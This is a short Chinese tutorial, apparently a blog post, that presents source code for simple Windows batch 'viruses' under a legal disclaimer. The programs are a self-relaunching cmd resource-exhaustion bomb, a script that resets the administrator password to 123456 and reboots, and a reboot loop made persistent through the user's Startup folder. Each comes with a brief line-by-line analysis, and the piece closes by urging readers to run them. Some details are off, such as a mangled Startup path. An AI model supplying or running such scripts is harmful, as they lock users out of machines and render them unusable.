声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规。
一、编写一个简单的cmd程序
1、资源耗尽病毒
echo start cmd >1.txt
echo %0 >>1.txt
ren 1.txt 1.bat
启动效果
二、病毒分析
1、锁机病毒
(1)源代码
echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /r /t 0 >> c:\windows\Temp\1.bat
(2)代码分析
1、echo net user administrator 123456 > c:\windows\Temp\1.bat
分析:
将net user administrator 123456写入文件1.bat
net user administrator 123456创建管理员用户administrator和密码123456;
2、echo shutdown /r /t 0 >> c:\windows\Temp\1.bat
分析:
将shutdown /r /t 0写入1.bat,shutdown /r /t 0表示直接重启主机
3、预期结果:
将administrator密码改为123456并重启
4、效果验证
2、无限重启病毒分析
(1)源代码
echo shutdown /r /t 0 > C:\windows\Temp\1.bat
copy C:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup\"
(2)代码分析
1、echo shutdown /r /t 0 > C:\windows\Temp\1.bat
分析:
将shutdown /r /t 0写入1.bat,shutdown /r /t 0表示直接重启主机
2、copy C:\windows\Temp\1.bat “%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup”
将1.bat复制到windows自启目录
3、效果分析
每次重启后执行1.bat导致反复重启
三、总结
文件要能看懂源码,并进行实际操作,这样才能加深印象。